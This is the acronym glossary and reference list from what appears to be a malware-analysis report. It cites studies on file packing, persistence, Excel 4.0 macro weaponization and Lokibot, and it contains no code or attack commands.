HTTP	Hypertext Transfer Protocol. 3, 5
HTTPS	Hypertext Transfer Protocol Secure. 3
IP	Internet Protocol. 2, 4, 5
ODL	Object Description Language. 2
OLE	Object Linking and Embedding. 3, 6, 7
OS	Operating System. 1
RAM	Random Access Memory. 1
RTF	Rich Text Format. 6
SSH	Secure Shell Protocol. 3
TCP	Transmission Control Protocol. 5
TMP	Temporary file. 2
VBA	Visual Basic for Applications. 4
VM	Virtual Machine. 1, 3, 4, 7
XLM	Excel Macro Language. 4
XLS	Microsoft Excel Spreadsheet. 5

LIST OF FIGURES

LIST OF TABLES

REFERENCES

[1] Muralidharan, T., Cohen, A., Gerson, N. and Nissim, N., 2022. File Packing from the Malware Perspective: Techniques, Analysis Approaches, and Directions for Enhancements. ACM Computing Surveys.
[2] Gittins, Z. and Soltys, M., 2020. Malware persistence mechanisms. Procedia Computer Science, 176, pp.88-97.
[3] Zhao, X., Huang, S., Pan, Z. and Hui, H., 2020, June. Buffer Overflow Vulnerability Detection Based on Unsafe Function Invocation. In Journal of Physics: Conference Series (Vol. 1549, No. 2, p. 022064). IOP Publishing.
[4] Mishra, R., 2020. Cybersecurity & COVID 19.
[5] Ariani, S.R. and Lumanto, R., Study of Lokibot Infection Against Indonesian Network.
[6] Haughom, J. and Ortolani, S., 2020. Evolution of Excel 4.0 Macro Weaponization.
[7] Ruaro, N., Pagani, F., Ortolani, S., Kruegel, C. and Vigna, G., 2022, April. SYMBEXCEL: Automated Analysis and Understanding of Malicious Excel 4.0 Macros. In 2022 IEEE Symposium on Security and Privacy (SP) (pp. 1534-1534). IEEE Computer Society.
[8] Kammerstetter, M., Platzer, C. and Wondracek, G., 2012, October. Vanity, cracks and malware: Insights into the anti-copy protection ecosystem. In Proceedings of the 2012 ACM conference on Computer and communications security (pp. 809-820).
[9] Carrera, E., 2007. x 5: Reverse engineering automation with python. Black Hat USA.